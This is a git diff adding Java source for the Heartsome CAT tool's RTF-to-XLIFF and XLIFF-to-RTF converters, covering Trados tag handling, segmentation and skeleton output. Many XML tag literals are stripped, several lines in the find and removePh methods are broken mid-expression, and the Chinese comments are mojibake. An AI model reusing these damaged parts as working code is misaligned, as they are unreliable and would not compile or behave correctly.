//$NON-NLS-2$ + string = replaceToken(string, "\uE011", "\\\\"); //$NON-NLS-1$ //$NON-NLS-2$ + string = replaceToken(string, "\u0009", "\\tab "); //$NON-NLS-1$ //$NON-NLS-2$ + string = restoreControls(string); + skeleton.write(clean(string).getBytes("UTF-8")); //$NON-NLS-1$ + } + + /** + * Restore controls. + * @param value + * the value + * @return the string + */ + private String restoreControls(String value) { + value = replaceToken(value, "" + '\u2002', "\\enspace "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u2003', "\\emspace "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u2005', "\\qmspace "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u2014', "\\emdash "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u2013', "\\endash "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u2018', "\\lquote "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u2019', "\\rquote "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u201C', "\\ldblquote "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u201D', "\\rdblquote "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u00A0', "\\~"); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u2011', "\\_"); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u00AD', "\\-"); //$NON-NLS-1$ //$NON-NLS-2$ + return value; + } + + /** + * Process segment. + * @param fragment + * the fragment + * @throws IOException + * Signals that an I/O exception has occurred. + * @throws SAXException + * the SAX exception + */ + private void processSegment(String fragment) throws IOException, SAXException { + + String string = XMLOutputter.validChars(TextUtil.cleanString(fragment)); + String segment = ""; //$NON-NLS-1$ + boolean inPh = false; + StringTokenizer tk = new StringTokenizer(string, "\\{}", true); //$NON-NLS-1$ + while (tk.hasMoreElements()) { + String token = tk.nextToken(); + if (token.equals("\\")) { //$NON-NLS-1$ + token = token + tk.nextToken(); + } + if (token.equals("\\*")) { //$NON-NLS-1$ + token = token + tk.nextToken() + tk.nextToken(); + } + if (!inPh && (token.startsWith("\\") || token.startsWith("{") || token.startsWith("}"))) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + segment = segment + ""; //$NON-NLS-1$ + inPh = true; + } + if (taggedRTF + && (inExternal || getControl(token).equals("cs") && ((getValue(token).equals(externalValue)) || (getValue(token).equals(noTranslateValue))))) { //$NON-NLS-1$ + // skip Trados external tags, until '}' is found + if (inPh && !inExternal) { + segment = segment + ""; //$NON-NLS-1$ + } + + inExternal = true; + segment = segment + token; + String s = ""; //$NON-NLS-1$ + if (tk.hasMoreTokens()) { + s = tk.nextToken(); + } + while (!s.equals("}") && tk.hasMoreTokens()) { //$NON-NLS-1$ + String clean = clean(s); + segment = segment + clean; + s = tk.nextToken(); + } + if (s.equals("}")) { //$NON-NLS-1$ + inExternal = false; + } + if (!tk.hasMoreTokens() && inExternal) { + segment = segment + clean(s); + s = ""; //$NON-NLS-1$ + } + token = s; + if (token.equals("\\")) { //$NON-NLS-1$ + token = token + tk.nextToken(); + } + if (token.equals("\\*")) { //$NON-NLS-1$ + token = token + tk.nextToken() + tk.nextToken(); + } + } + if (taggedRTF && getControl(token).equals("cs") && getValue(token).equals(internalValue)) { //$NON-NLS-1$ + // skip Trados internal tags, until '}' is found + if (inPh) { + int idx = segment.lastIndexOf("{"); //$NON-NLS-1$ + int phStarts = segment.lastIndexOf("") + 4; //$NON-NLS-1$ + String tag = segment.substring(phStarts); + if (idx != -1 && idx > phStarts && (tag.startsWith("\\par") //$NON-NLS-1$ + || tag.startsWith("\\cell") //$NON-NLS-1$ + || tag.startsWith("\\row") //$NON-NLS-1$ + || tag.startsWith("\\nestcell") //$NON-NLS-1$ + || tag.startsWith("\\dobypara") //$NON-NLS-1$ + )) { + segment = segment.substring(0, idx) + "" + segment.substring(idx); //$NON-NLS-1$ + } + } + segment = segment + token; + String s = tk.nextToken(); + while (!s.equals("}") && tk.hasMoreTokens()) { //$NON-NLS-1$ + segment = segment + clean(s); + s = tk.nextToken(); + } + if (!tk.hasMoreTokens()) { + segment = segment + clean(s); + s = ""; //$NON-NLS-1$ + } + token = s; + if (token.equals("\\")) { //$NON-NLS-1$ + token = token + tk.nextToken(); + } + if (token.equals("\\*")) { //$NON-NLS-1$ + token = token + tk.nextToken() + tk.nextToken(); + } + } + if (getControl(token).equals("field") //$NON-NLS-1$ + || getControl(token).equals("listtext") //$NON-NLS-1$ + || getControl(token).equals("do") //$NON-NLS-1$ + || getControl(token).equals("sp")) { //$NON-NLS-1$ + // skip field definition, until '}' is found + // check if there are fonts to preserve + segment = segment + token; + if (tk.hasMoreTokens()) { + String s = tk.nextToken(); + int level = 1; + if (s.equals("{")) { //$NON-NLS-1$ + level++; + } + if (s.equals("}")) { //$NON-NLS-1$ + level--; + } + while (!(s.equals("}") && level <= 0) && tk.hasMoreTokens()) { //$NON-NLS-1$ + s = replaceToken(s, "\uE008", "\\{"); //$NON-NLS-1$ //$NON-NLS-2$ + s = replaceToken(s, "\uE007", "\\}"); //$NON-NLS-1$ //$NON-NLS-2$ + s = replaceToken(s, "\uE011", "\\\\"); //$NON-NLS-1$ //$NON-NLS-2$ + s = replaceToken(s, "\u0009", "\\tab "); //$NON-NLS-1$ //$NON-NLS-2$ + + segment = segment + clean(s); + s = tk.nextToken(); + if (s.equals("\\")) { //$NON-NLS-1$ + s = s + tk.nextToken(); + } + if (s.equals("\\*")) { //$NON-NLS-1$ + s = s + tk.nextToken() + tk.nextToken(); + } + if (s.equals("{")) { //$NON-NLS-1$ + level++; + } + if (s.equals("}")) { //$NON-NLS-1$ + level--; + } + s = replaceToken(s, "\uE011", "\\\\"); //$NON-NLS-1$ //$NON-NLS-2$ + } + token = s; + if (!(token.startsWith("\\") || token.startsWith("}") || token.startsWith("{")) && segment.endsWith("\\")) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ + token = "\\" + s; //$NON-NLS-1$ + segment = segment.substring(0, segment.length() - 1); + } + if (token.equals("\\")) { //$NON-NLS-1$ + token = token + tk.nextToken(); + } + if (token.equals("\\*")) { //$NON-NLS-1$ + token = token + tk.nextToken() + tk.nextToken(); + } + } + } + if (getControl(token).equals("pict")) { //$NON-NLS-1$ + // skip the picture data + int level = 1; + while (level > 0) { + segment = segment + token; + token = tk.nextToken(); + if (token.equals("{")) { //$NON-NLS-1$ + level++; + } + if (token.equals("}")) { //$NON-NLS-1$ + level--; + } + } + if (token.equals("\\")) { //$NON-NLS-1$ + token = token + tk.nextToken(); + } + if (token.equals("\\*")) { //$NON-NLS-1$ + token = token + tk.nextToken() + tk.nextToken(); + } + } + if (getControl(token).equals("datafield") //$NON-NLS-1$ + || getControl(token).equals("bkmkstart") //$NON-NLS-1$ + || getControl(token).equals("bkmkend")) { //$NON-NLS-1$ + + // skip field data, until '}' is found + segment = segment + token; + String s = tk.nextToken(); + while (!s.equals("}") && tk.hasMoreTokens()) { //$NON-NLS-1$ + segment = segment + clean(s); + s = tk.nextToken(); + } + token = s; + if (token.equals("\\")) { //$NON-NLS-1$ + token = token + tk.nextToken(); + } + if (token.equals("\\*")) { //$NON-NLS-1$ + token = token + tk.nextToken() + tk.nextToken(); + } + } + if (token.startsWith("\\")) { //$NON-NLS-1$ + String text = removeCtrl(token); + String ctl = getControl(token); + if (ctl.equals("pntxta") //$NON-NLS-1$ + || ctl.equals("pntxtb") //$NON-NLS-1$ + || ctl.equals("sv") //$NON-NLS-1$ + || ctl.equals("sn")) { //$NON-NLS-1$ + + // this control needs a parameter + if (text.matches("^\\s[a-zA-Z0-9\\s].*")) { //$NON-NLS-1$ + // has a space in front of the parameter + text = text.substring(2); + } else { + text = text.substring(1); + } + } + if (text.trim().equals("")) { //$NON-NLS-1$ + segment = segment + token; + } else { + segment = segment + token.substring(0, token.indexOf(text)) + "" + text; //$NON-NLS-1$ + inPh = false; + } + } else if (token.startsWith("{") || token.startsWith("}")) { //$NON-NLS-1$ //$NON-NLS-2$ + String text = token.substring(1); + if (text.trim().equals("")) { //$NON-NLS-1$ + segment = segment + token; + } else { + segment = segment + token.charAt(0) + "" + text; //$NON-NLS-1$ + inPh = false; + } + } else { + if (inPh) { + segment = segment + ""; //$NON-NLS-1$ + inPh = false; + } + segment = segment + token; + } + } + if (inPh) { + segment = segment + ""; //$NON-NLS-1$ + } + + if (containsText(segment)) { + writeSegment(segment); + } else { + writeSkl(Xliff2Rtf.cleanChars(fragment)); + } + } + + /** + * Clean. + * @param source + * the source + * @return the string + */ + private String clean(String source) { + String clean = ""; //$NON-NLS-1$ + int from = source.indexOf("blipuid"); //$NON-NLS-1$ + if (from != -1) { + StringTokenizer tk = new StringTokenizer(source, "\\{}", true); //$NON-NLS-1$ + while (tk.hasMoreTokens()) { + String token = tk.nextToken(); + if (token.length() < 1000) { + clean = clean + Xliff2Rtf.clean(token); + } else { + clean = clean + token; + } + } + } else { + return Xliff2Rtf.clean(source); + } + + return clean; + } + + /** + * Contains text. + * @param segment + * the segment + * @return true, if successful + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private boolean containsText(String segment) throws SAXException, IOException { + SAXBuilder builder = new SAXBuilder(); + String text = "\n" + segment //$NON-NLS-1$ + + ""; //$NON-NLS-1$ + ByteArrayInputStream stream = new ByteArrayInputStream(text.getBytes("UTF-8")); //$NON-NLS-1$ + Document doc = builder.build(stream); + List rootContent = doc.getRootElement().getContent(); + Iterator it = rootContent.iterator(); + while (it.hasNext()) { + Node n = it.next(); + if (n.getNodeType() == Node.TEXT_NODE) { + String s = n.getNodeValue(); + if (taggedRTF) { + s = removeTradosTag(s); + } + if (!s.trim().equals("")) { //$NON-NLS-1$ + s = s.trim(); + for (int i = 0; i < s.length(); i++) { + char c = s.charAt(i); + if (c != '.' && c != ',' && c != '(' && c != ')' && c != '-' + && c != '\u2022' && c != '\u00B7' && c != '\u2219' && c != '\u25D8' + && c != '\u25E6') { + return true; + } + } + } + } + } + return false; + } + + /** + * Removes the trados tag. + * @param s + * the s + * @return the string + */ + private String removeTradosTag(String s) { + s = replaceToken(s, '\uE008' + "0>", ""); //$NON-NLS-1$ //$NON-NLS-2$ + s = replaceToken(s, "<0" + '\uE007', ""); //$NON-NLS-1$ //$NON-NLS-2$ + int from = s.indexOf("<" + '\uE007'); //$NON-NLS-1$ + int to = s.indexOf('\uE008' + ">"); //$NON-NLS-1$ + if (from != -1 && to != -1) { + s = s.substring(0, from) + s.substring(to + 2); + } + return s; + } + + /** + * Removes the ctrl. + * @param token + * the token + * @return the string + */ + private String removeCtrl(String token) { + int i = 1; + // skip ctrl word + for (; i < token.length(); i++) { + char c = token.charAt(i); + if (c == '\\' || c == '*' || (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z')) { + continue; + } + break; + } + // skip numeric argument + for (; i < token.length(); i++) { + char c = token.charAt(i); + if (c == '-' || (c >= '0' && c <= '9')) { + continue; + } + break; + } + StringBuffer buffer = new StringBuffer(); + for (; i < token.length(); i++) { + char c = token.charAt(i); + buffer.append(c); + } + String result = buffer.toString(); + if (result.length() == 0) { + return ""; //$NON-NLS-1$ + } + if (Character.isSpaceChar(result.charAt(0))) { + return result.substring(1); + } + return result; + } + + /** + * Write segment. + * @param string + * the string + * @throws IOException + * Signals that an I/O exception has occurred. + * @throws SAXException + * the SAX exception + */ + private void writeSegment(String string) throws IOException, SAXException { + if (segByElement) { + if (taggedRTF) { + if (find(string, "\uE008" + "0>", 0) != -1) { //$NON-NLS-1$ //$NON-NLS-2$ + // segmented by trados + String[] segs = splitTagged(string); + for (int i = 0; i < segs.length; i++) { + if (containsText(segs[i])) { + if (find(segs[i], "\uE008" + "0>", 0) != -1) { //$NON-NLS-1$ //$NON-NLS-2$ + writeStr(tag(segs[i])); + writeSkeleton("%%%" + segId++ + "%%%\n"); //$NON-NLS-1$ //$NON-NLS-2$ + } else { + tidy(segs[i]); + writeSkeleton(Xliff2Rtf.cleanChars(start)); + writeStr(tag(meat)); + writeSkeleton("%%%" + segId++ + "%%%\n"); //$NON-NLS-1$ //$NON-NLS-2$ + writeSkeleton(Xliff2Rtf.cleanChars(end)); + } + } else { + writeSkeleton(Xliff2Rtf.cleanChars(unTag(segs[i]))); + } + } + } else { + // not presegmented, segment by sentence + String[] segs = segmenter.segment(string); + for (int i = 0; i < segs.length; i++) { + if (containsText(segs[i])) { + tidy(segs[i]); + writeSkeleton(Xliff2Rtf.cleanChars(start)); + writeStr(tag(meat)); + writeSkeleton("%%%" + segId++ + "%%%\n"); //$NON-NLS-1$ //$NON-NLS-2$ + writeSkeleton(Xliff2Rtf.cleanChars(end)); + } else { + writeSkeleton(unTag(Xliff2Rtf.cleanChars(segs[i]))); + } + } + } + } else { + // segment by paragraph + tidy(string); + writeSkeleton(Xliff2Rtf.cleanChars(start)); + writeStr(tag(meat)); + writeSkeleton("%%%" + segId++ + "%%%\n"); //$NON-NLS-1$ //$NON-NLS-2$ + writeSkeleton(Xliff2Rtf.cleanChars(end)); + } + } else { + // segment by sentence + String[] segs = segmenter.segment(string); + for (int i = 0; i < segs.length; i++) { + if (containsText(segs[i])) { + tidy(segs[i]); + writeSkeleton(Xliff2Rtf.cleanChars(start)); + writeStr(tag(meat)); + writeSkeleton("%%%" + segId++ + "%%%\n"); //$NON-NLS-1$ //$NON-NLS-2$ + writeSkeleton(Xliff2Rtf.cleanChars(end)); + } else { + writeSkeleton(unTag(Xliff2Rtf.cleanChars(segs[i]))); + } + } + } + } + + /** + * Find. + * @param text + * the text + * @param token + * the token + * @param from + * the from + * @return the int + */ + public int find(String text, String token, int from) { + int length = text.length(); + for (int i = from; i < length; i++) { + String remaining = text.substring(i); + if (remaining.startsWith(""); //$NON-NLS-1$ + if (ends != -1) { + remaining = remaining.substring(ends + 5); + i = i + ends + 5; + } + } + String trimmed = removePh(remaining); + if (trimmed.startsWith(token)) { + return i; + } + } + return -1; + } + + /** + * Removes the ph. + * @param string + * the string + * @return the string + */ + private String removePh(String string) { + String result = ""; //$NON-NLS-1$ + int starts = string.indexOf(""); //$NON-NLS-1$ + if (ends != -1) { + string = string.substring(ends + 5); + } + starts = string.indexOf("", ""); //$NON-NLS-1$ //$NON-NLS-2$ + } else { + string = replaceToken(string, "}", "}"); //$NON-NLS-1$ //$NON-NLS-2$ + string = replaceToken(string, "{", "{"); //$NON-NLS-1$ //$NON-NLS-2$ + } + start = ""; //$NON-NLS-1$ + end = ""; //$NON-NLS-1$ + meat = string; + + SAXBuilder builder = new SAXBuilder(); + String text = "\n" + string //$NON-NLS-1$ + + ""; //$NON-NLS-1$ + ByteArrayInputStream stream = new ByteArrayInputStream(text.getBytes("UTF-8")); //$NON-NLS-1$ + Document doc = builder.build(stream); + Element root = doc.getRootElement(); + List rootContent = root.getContent(); + Iterator it = rootContent.iterator(); + int tags = 0; + while (it.hasNext()) { + Node n = it.next(); + if (n.getNodeType() == Node.ELEMENT_NODE) { + tags++; + } + } + if (tags == 0) { + return; + } + if (tags == 1) { + Node n = rootContent.get(0); + if (n.getNodeType() == Node.ELEMENT_NODE) { + // starts with a tag + Element e = new Element(n); + if (!(taggedRTF && e.toString().indexOf(winInternal) != -1)) { + start = e.getText(); + rootContent.remove(n); + root.setContent(rootContent); + meat = root.toString().substring(9, root.toString().length() - 10); + } + return; + } + n = rootContent.get(rootContent.size() - 1); + if (n.getNodeType() == Node.ELEMENT_NODE) { + // ends with a tag + Element e = new Element(n); + if (!(taggedRTF && e.toString().indexOf(winInternal) != -1)) { + end = e.getText(); + rootContent.remove(n); + root.setContent(rootContent); + meat = root.toString().substring(9, root.toString().length() - 10); + } + return; + } + } + Node n1 = rootContent.get(0); + Node n2 = rootContent.get(rootContent.size() - 1); + if (tags == 2 && n1.getNodeType() == Node.ELEMENT_NODE && n2.getNodeType() == Node.ELEMENT_NODE) { + // starts and ends with a tag, no tags in the middle + Element e1 = new Element(n1); + start = e1.getText(); + Element e2 = new Element(n2); + end = e2.getText(); + rootContent.remove(n1); + rootContent.remove(n2); + root.setContent(rootContent); + meat = root.toString().substring(9, root.toString().length() - 10); + return; + } + if (n1.getNodeType() == Node.ELEMENT_NODE) { + // remove initial tag + Element e1 = new Element(n1); + if (!(taggedRTF && e1.toString().indexOf(winInternal) != -1)) { + start = e1.getText(); + rootContent.remove(n1); + root.setContent(rootContent); + meat = root.toString().substring(9, root.toString().length() - 10); + } + } + } + + /** + * Tag. + * @param string + * the string + * @return the string + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private String tag(String string) throws SAXException, IOException { + if (!taggedRTF && string.indexOf("") != -1) { //$NON-NLS-1$ + string = string.replaceAll("", ""); //$NON-NLS-1$ //$NON-NLS-2$ + } + SAXBuilder builder = new SAXBuilder(); + String text = "\n" + string //$NON-NLS-1$ //$NON-NLS-2$ + + ""; //$NON-NLS-1$ + ByteArrayInputStream stream = new ByteArrayInputStream(text.getBytes("UTF-8")); //$NON-NLS-1$ + Document doc = builder.build(stream); + Element root = doc.getRootElement(); + List rootContent = root.getContent(); + int k = 0; + Iterator it = rootContent.iterator(); + Vector v = new Vector(); + while (it.hasNext()) { + Node n = it.next(); + if (n.getNodeType() == Node.ELEMENT_NODE) { + Element e = new Element(n); + e.setAttribute("id", "" + k++); //$NON-NLS-1$ //$NON-NLS-2$ + v.add(n); + } else { + v.add(n); + } + } + root.setContent(v); + return " \n " + root.toString() //$NON-NLS-1$ + + "\n \n"; //$NON-NLS-1$ + } + + /** + * Split tagged. + * @param text + * the text + * @return the string[] + */ + private String[] splitTagged(String text) { + Vector strings = new Vector(); + + int index = find(text, "\uE008" + "0>", 1); //$NON-NLS-1$ //$NON-NLS-2$ + while (index != -1) { + String candidate = text.substring(0, index); + int ends = find(candidate, "<0" + "\uE007", 0); //$NON-NLS-1$ //$NON-NLS-2$ + while (ends != -1) { + if (!candidate.substring(0, ends + 6).endsWith("0" + "\uE007")) { //$NON-NLS-1$ //$NON-NLS-2$ + ends += candidate.substring(ends).indexOf("0" + "\uE007") + 2; //$NON-NLS-1$ //$NON-NLS-2$ + strings.add(candidate.substring(0, ends)); + candidate = candidate.substring(ends); + } else { + strings.add(candidate.substring(0, ends + 6)); + candidate = candidate.substring(ends + 6); + } + ends = find(candidate, "<0" + "\uE007", 1); //$NON-NLS-1$ //$NON-NLS-2$ + } + strings.add(candidate); + text = text.substring(index); + index = find(text, "\uE008" + "0>", 1); //$NON-NLS-1$ //$NON-NLS-2$ + } + if (!text.endsWith("0" + "\uE007")) { //$NON-NLS-1$ //$NON-NLS-2$ + index = text.lastIndexOf("0" + "\uE007"); //$NON-NLS-1$ //$NON-NLS-2$ + if (index != -1) { + strings.add(text.substring(0, index + 2)); + text = text.substring(index + 2); + } + } + strings.add(text); + + String[] result = new String[strings.size()]; + for (int i = 0; i < strings.size(); i++) { + result[i] = strings.get(i); + } + return result; + } + + /** + * Un tag. + * @param string + * the string + * @return the string + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private String unTag(String string) throws SAXException, IOException { + SAXBuilder builder = new SAXBuilder(); + String text = "\n" + string + ""; //$NON-NLS-1$ //$NON-NLS-2$ + ByteArrayInputStream stream = new ByteArrayInputStream(text.getBytes("UTF-8")); //$NON-NLS-1$ + Document doc = builder.build(stream); + Element root = doc.getRootElement(); + List rootContent = root.getContent(); + Iterator it = rootContent.iterator(); + String result = ""; //$NON-NLS-1$ + while (it.hasNext()) { + Node n = it.next(); + if (n.getNodeType() == Node.ELEMENT_NODE) { + Element e = new Element(n); + result = result + e.getText(); + } else if (n.getNodeType() == Node.TEXT_NODE) { + result = result + n.getNodeValue(); + } + } + return result; + } + + /** + * Gets the style. + * @param style + * the style + * @return the style + */ + private String getStyle(String style) { + StringTokenizer tk = new StringTokenizer(style, "\\", true); //$NON-NLS-1$ + String token = tk.nextToken(); + if (token.equals("{")) { //$NON-NLS-1$ + token = tk.nextToken(); + } + if (token.equals("\\")) { //$NON-NLS-1$ + token = token + tk.nextToken(); + } + if (token.equals("\\*")) { //$NON-NLS-1$ + // Skip the \\* + token = tk.nextToken() + tk.nextToken(); + } + return token.trim(); + } + + /** + * Write header. + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeHeader() throws IOException { + writeStr("\n"); //$NON-NLS-1$ + writeStr("\n"); //$NON-NLS-1$ + if (!"".equals(targetLanguage)) { + writeStr("\n"); //$NON-NLS-1$ + } else { + writeStr("\n"); //$NON-NLS-1$ + } + writeStr("
    \n"); //$NON-NLS-1$ + writeStr(" \n"); //$NON-NLS-1$ + String crc = ""; //$NON-NLS-1$ + if (isSuite) { + crc = "crc=\"" + CRC16.crc16(TextUtil.cleanString(skeletonFile).getBytes("UTF-8")) + "\""; //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } + writeStr(" \n"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + writeStr(" \n"); //$NON-NLS-1$ + writeStr("\n"); //$NON-NLS-1$ //$NON-NLS-2$ + writeStr(" \n " //$NON-NLS-1$ + + srcEncoding + "\n\n"); //$NON-NLS-1$ + if (taggedRTF) { + writeStr("\n" //$NON-NLS-1$ + + " " //$NON-NLS-1$ + + winInternal + "\n" //$NON-NLS-1$ + + " " //$NON-NLS-1$ + + winExternal + "\n" //$NON-NLS-1$ + + " " //$NON-NLS-1$ + + winMark + "\n" //$NON-NLS-1$ + + " " //$NON-NLS-1$ + + markStyle + "\n" //$NON-NLS-1$ + + "\n"); //$NON-NLS-1$ + } + writeStr("
    \n"); //$NON-NLS-1$ + writeStr("\n"); //$NON-NLS-1$ + } + + /** + * Gets the value. + * @param control + * the control + * @param style + * the style + * @return the value + */ + private String getValue(String control, String style) { + StringTokenizer tk = new StringTokenizer(style, "\\", true); //$NON-NLS-1$ + while (tk.hasMoreTokens()) { + String token = tk.nextToken(); + if (token.equals("\\")) { //$NON-NLS-1$ + token = token + tk.nextToken(); + } + if (token.equals("\\*")) { //$NON-NLS-1$ + token = token + tk.nextToken() + tk.nextToken(); + } + if (getControl(token).equals(control)) { + return getValue(token); + } + } + return "1"; //$NON-NLS-1$ + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.rtf/src/net/heartsome/cat/converter/rtf/Xliff2Rtf.java b/hsconverter/net.heartsome.cat.converter.rtf/src/net/heartsome/cat/converter/rtf/Xliff2Rtf.java new file mode 100644 index 0000000..7036300 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rtf/src/net/heartsome/cat/converter/rtf/Xliff2Rtf.java @@ -0,0 +1,460 @@ +/** + * Xliff2Rtf.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.rtf; + +import java.io.BufferedReader; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStreamReader; +import java.io.UnsupportedEncodingException; +import java.text.MessageFormat; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Iterator; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.rtf.resource.Messages; +import net.heartsome.cat.converter.util.CalculateProcessedBytes; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.cat.converter.util.ReverseConversionInfoLogRecord; +import net.heartsome.xml.Catalogue; +import net.heartsome.xml.Document; +import net.heartsome.xml.Element; +import net.heartsome.xml.SAXBuilder; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.w3c.dom.Node; +import org.xml.sax.SAXException; + +/** + * The Class Xliff2Rtf. + * @author John Zhu + */ +public class Xliff2Rtf implements Converter { + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "rtf"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("rtf.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "XLIFF to RTF Conveter"; + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#convert(java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + * @param args + * @param monitor + * @return + * @throws ConverterException + */ + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + Xliff2RtfImpl converter = new Xliff2RtfImpl(); + return converter.run(args, monitor); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getName() + * @return + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getType() + * @return + */ + public String getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getTypeName() + * @return + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * The Class Xliff2RtfImpl. + * @author John Zhu + * @version + * @since JDK1.6 + */ + class Xliff2RtfImpl { + + private static final String UTF_8 = "UTF-8"; + + /** The skl file. */ + private String sklFile; + + /** The xliff file. */ + private String xliffFile; + + /** The catalogue. */ + private Catalogue catalogue; + + /** The output. */ + private FileOutputStream output; + + /** The input. */ + private InputStreamReader input; + + /** The buffer. */ + private BufferedReader buffer; + + /** The segments. */ + private Hashtable segments; + + /** The line. */ + private String line; + + /** + * Run. + * @param params + * the params + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + */ + public Map run(Map params, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + ReverseConversionInfoLogRecord infoLogger = ConverterUtils.getReverseConversionInfoLogRecord(); + infoLogger.startConversion(); + Map result = new HashMap(); + sklFile = params.get(Converter.ATTR_SKELETON_FILE); + xliffFile = params.get(Converter.ATTR_XLIFF_FILE); + String catalogueFile = params.get(Converter.ATTR_CATALOGUE); + String outputFile = params.get(Converter.ATTR_TARGET_FILE); + + String attrIsPreviewMode = params.get(Converter.ATTR_IS_PREVIEW_MODE); + /* 是å¦ä¸ºé¢„è§ˆç¿»è¯‘æ¨¡å¼ */ + boolean isPreviewMode = attrIsPreviewMode != null && attrIsPreviewMode.equals(Converter.TRUE); + + try { + // 把转æ¢è¿‡ç¨‹åˆ†ä¸ºä¸‰å¤§éƒ¨åˆ†å…± 10 个任务,其中加载 catalogue å  2,加载 xliff æ–‡ä»¶å  3,替æ¢è¿‡ç¨‹å  5。 + monitor.beginTask("", 10); + infoLogger.logConversionFileInfo(catalogueFile, null, xliffFile, sklFile); + try { + monitor.subTask(Messages.getString("rtf.Xliff2Rtf.task2")); + infoLogger.startLoadingCatalogueFile(); + if (catalogueFile != null) { + catalogue = new Catalogue(catalogueFile); + } + infoLogger.endLoadingCatalogueFile(); + monitor.worked(2); + // 是å¦å–消æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("rtf.cancel")); + } + + monitor.subTask(Messages.getString("rtf.Xliff2Rtf.task3")); + infoLogger.startLoadingXliffFile(); + output = new FileOutputStream(outputFile); + loadSegments(); + infoLogger.endLoadingXliffFile(); + monitor.worked(3); + } catch (OperationCanceledException e) { + throw e; + } catch (Exception e1) { + if (Converter.DEBUG_MODE) { + e1.printStackTrace(); + } + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("rtf.Xliff2Rtf.msg1"), e1); + } + IProgressMonitor replaceMonitor = Progress.getSubMonitor(monitor, 5); + try { + infoLogger.startReplacingSegmentSymbol(); + CalculateProcessedBytes cpb = ConverterUtils.getCalculateProcessedBytes(sklFile); + replaceMonitor.beginTask(Messages.getString("rtf.Xliff2Rtf.task4"), cpb.getTotalTask()); + replaceMonitor.subTask(""); + input = new InputStreamReader(new FileInputStream(sklFile), UTF_8); //$NON-NLS-1$ + buffer = new BufferedReader(input); + line = buffer.readLine(); + while (line != null) { + // 是å¦å–消æ“作 + if (replaceMonitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("rtf.cancel")); + } + cpb.calculateProcessed(replaceMonitor, line, UTF_8); + + line = line + "\n"; //$NON-NLS-1$ + + if (line.indexOf("%%%") != -1) { //$NON-NLS-1$ + // + // contains translatable text + // + int index = line.indexOf("%%%"); //$NON-NLS-1$ + while (index != -1) { + String start = line.substring(0, index); + writeString(start); + line = line.substring(index + 3); + String code = line.substring(0, line.indexOf("%%%")); //$NON-NLS-1$ + line = line.substring(line.indexOf("%%%\n") + 4); //$NON-NLS-1$ + Element segment = segments.get(code); + if (segment != null) { + Element target = segment.getChild("target"); //$NON-NLS-1$ + Element source = segment.getChild("source"); //$NON-NLS-1$ + if (target != null) { + String tgtStr = cleanChars(extractText(target)); + if (isPreviewMode || !"".equals(tgtStr.trim())) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ +// writeString(tgtStr); + if (isPreviewMode) { + if ("".equals(tgtStr.trim())) { + writeString(cleanChars(extractText(source))); + } else { + writeString(tgtStr); + } + } else { + writeString(tgtStr); + } + } else { + writeString(cleanChars(extractText(source))); + } + } else { + writeString(cleanChars(extractText(source))); + } + } else { + MessageFormat mf = new MessageFormat(Messages.getString("rtf.Xliff2Rtf.msg0")); //$NON-NLS-1$ + Object[] args = { "" + code }; //$NON-NLS-1$ + String errMsg = mf.format(args); + args = null; + throw new Exception(errMsg); + } + + index = line.indexOf("%%%"); //$NON-NLS-1$ + if (index == -1) { + writeString(line); + } + } // end while + } else { + // + // non translatable portion + // 